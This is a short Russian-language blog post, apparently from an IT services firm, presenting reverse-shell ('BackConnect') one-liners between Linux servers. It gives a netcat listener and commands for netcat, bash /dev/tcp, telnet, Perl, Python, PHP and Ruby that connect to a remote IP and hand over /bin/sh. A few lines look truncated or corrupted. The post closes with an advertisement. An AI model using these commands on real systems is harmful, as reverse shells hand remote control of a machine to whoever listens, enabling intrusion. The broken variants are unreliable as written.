В один прекрасный момент мне понадобился BackConnect с одного линуксового сервера до другого.
Решил использовать на этот раз NETCAT.
Для начала откроем порт на машине, к которому будем подключаться (не забываем, что у нее должен быть IP адрес, доступный из той сети из которой подключаемся)
nc -vv -n -l -p N
и после этого на подключаемой машине:
nc -vv -e /bin/bash IP N
где N – номер порта(одинаковый на двух машинах) IP – IP или имя хоста к которому подключаемся.
P.S. для выполнения BackConnect через:
NETCAT с выключенным GAPING_SECURITY_HOLE:
mknod backpipe p && nc IP N 0
Если нет NETCAT, то можно попробовать через /dev/tcp:
/bin/bash -i > /dev/tcp/IP/N 0< &1 2>&1
Через telnet:
mknod backpipe p && telnet IP N 0
Из Perl скрипта:
perl -e 'use Socket;$i="IP";$p=N;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Из Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec?t(("IP",N));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Из PHP:
php -r '$sock=fsockopen("IP",N);exec("/bin/sh -i < &3 >&3 2>&3");'
Из Ruby:
ruby -rsocket -e'f=TCPSocket.open("IP",N).to_i;exec sprintf("/bin/sh -i < &%d >&%d 2>&%d",f,f,f)'
Заказать создание и поддержку безопасной IT-инфраструктуры любой сложностиБыть уверенным в своей IT-инфраструктуре – это быть уверенным в завтрашнем дне. Для того, чтобы сделать заказ:
|